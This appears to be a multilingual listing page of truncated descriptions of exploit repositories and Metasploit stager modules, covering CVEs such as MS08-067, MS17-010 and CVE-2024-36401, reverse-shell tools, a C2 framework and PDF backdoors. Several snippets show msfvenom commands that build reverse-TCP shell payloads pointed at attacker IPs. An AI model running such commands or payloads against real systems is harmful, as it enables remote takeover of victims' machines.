MS08-067

MS08-067 | CVE-2008-4250 Riferimento: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Generazione dello shellcode Useremo msfvenom per generare lo shellcode. root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443...

CVE-2018-20250

Configurazione Video demo: https://youtu.be/5tuWsi1tGS0 Macchina VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Passaggi da eseguire Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe...

shellcode-x64

Shellcode per Microsoft Windows 11 x64 Questo script genera shellcode Reverse TCP per Windows 11 x64 con la tecnica PIC. Utilizzo per generare lo shellcode root@kitploit: python ./shellreversetcp.py -i 192.168.10.10 -p 443 Il linguaggio predefinito è lo shellcode in C, ma sono supportati anche...

CVE-2009-3999

CVE-2009-3999 Exploit HP Power Manager 4.2 Build 7 ispirato da https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 PASSO 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker Usare msfvenom per generare un Payload: root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: Specifica il payload una shell TCP inversa per Windows. LHOST=10.10.14.4:...

Villain

Villain Zweck Villain ist ein C2-Framework auf hoher Ebene Stage 0/1, das mehrere Reverse-TCP- und HoaxShell-basierte Shells verwalten, deren Funktionalität mit zusätzlichen Funktionen Befehle, Hilfsprogramme erweitern und zwischen verbundenen Sibling-Servern Villain-Instanzen auf verschiedenen...

zaphoxx-coldfusion

zaphoxx-coldfusion coldfusion exploit पर आधारित https://cvedetails.com/cve/CVE-2009-2265/ इस विशेष CVE के लिए मैंने python स्क्रिप्ट बनाने का मुख्य कारण यह था कि जब मैंने HTB मशीन Arctic को हल करने का प्रयास किया तो उसी का metasploit संस्करण मेरे लिए काम नहीं करता था। साथ ही कुछ python अभ्यास करन...

powershell-reverse-tcp

PowerShell Reverse TCP Script PowerShell per comunicare con un host remoto. L'host remoto avrà il pieno controllo sul client e su tutti i comandi di sistema sottostanti. Controlla le shell basate su: comando PowerShell Invoke-Expression qui, pipe di processo qui. Testato con PowerShell...

shootback

shootback shootback è un tunnel TCP inverso che permette di accedere a target dietro NAT o firewall 反向TCP隧道, 使得NAT或防火墙后的内网机器可以被外网访问. Consuma meno dell'1% di CPU e 8 MB di memoria con 800 connessioni concorrenti. slaver è un singolo file e dipende solo dalla libreria standard di Python 2.7/3.4+...

Embedded-PDF

Eingebettete Hintertür-Verbindung über PDF-Dateien 😈 bereitgestellt von Einleitung Dieses Demonstrationsvideo zeigt, wie wir das Gerät des Opfers steuern können, indem wir die harmlos aussehende PDF-Datei an das Ziel senden, die tatsächlich eine eingebettete Nutzlast enthält. Der Exploit wurde al...

Embedded-Backdoor-Connection

पीडीएफ फाइलों के माध्यम से एम्बेडेड बैकडोर कनेक्शन 😈 आपके लिए प्रस्तुत परिचय यह प्रदर्शन वीडियो दिखाता है कि हम लक्ष्य को निर्दोष दिखने वाली PDF फाइल भेजकर पीड़ित के डिवाइस को कैसे नियंत्रित कर सकते हैं, जिसमें वास्तव में एम्बेडेड पेलोड होता है। इस एक्सप्लॉइट को CVE-2010-1240 के रूप में सार्वजनिक...

CVE-2024-36401-PoC

CVE-2024-36401-PoC Exploit Proof-of-Concept per CVE-2024-36401 GeoServer Le versioni vulnerabili di GeoServer sono quelle precedenti alla 2.23.6 | 2.24.4 | 2.25.2 !!! SOLO PER SCOPI DI TEST DI SICUREZZA !!! NON UTILIZZARE QUESTO SU SISTEMI CHE NON POSSIEDI A MENO CHE TU NON ABBIA ESPLICITO PERMES...

-EXPLOIT-CVE-2023-36025

EXPLOIT CVE-2023-36025 - Descrizione Vulnerabilità di bypass della funzionalità di sicurezza Windows SmartScreen Uso NOTA: handler in attesa di richiesta TCP per il target P.S. configurare il file CVE-2023-36025.vbs per cambiare l'IP e la porta con l'IP e la porta della macchina che viene...

CVE-2009-1330

CVE-2009-1330 Exploit per buffer overflow in Easy RM to MP3 Converter 2.7.3.700 CVE-2009-1330 Basato su: pwntools msfvenom / reversetcp payload ropper x64dbg Easy RM to MP3 Converter 2.7.3.700 App vulnerabile disponibile su https://www.exploit-db.com/exploits/10374...

redpill

:octocat: Project Description The redpill project aims to assist reverse tcp shells in post-exploration tasks. Often, on redteam appointments we need to use unconventional ways to access the target system, like reverse tcp shells not metasploit in order to bypass the defenses implemented by the...

Linux_X86_Reverse_TCP_Alphanumeric_Staged_Shellcode_Execve-bin-bash

Questo repository non contiene un README...

Linux dup2 Command Shell, Reverse TCP Stager

dup2 socket in s1, then execve. Connect back to the attacker Module Options...

FTP Fetch, Reverse TCP Stager with UUID Support

Fetch and execute an x86 payload from an FTP server. Connect back to the attacker with UUID Support Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule include...

FTP Fetch, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)

Fetch and execute an x86 payload from an FTP server. Connect back to the attacker Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule include Msf::Payload::Adapter::Fetch::FTP includ...

FTP Fetch, Windows Command Shell, Reverse TCP Stager (DNS)

Fetch and execute an x86 payload from an FTP server. Spawn a piped command shell staged. Connect back to the attacker Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule include...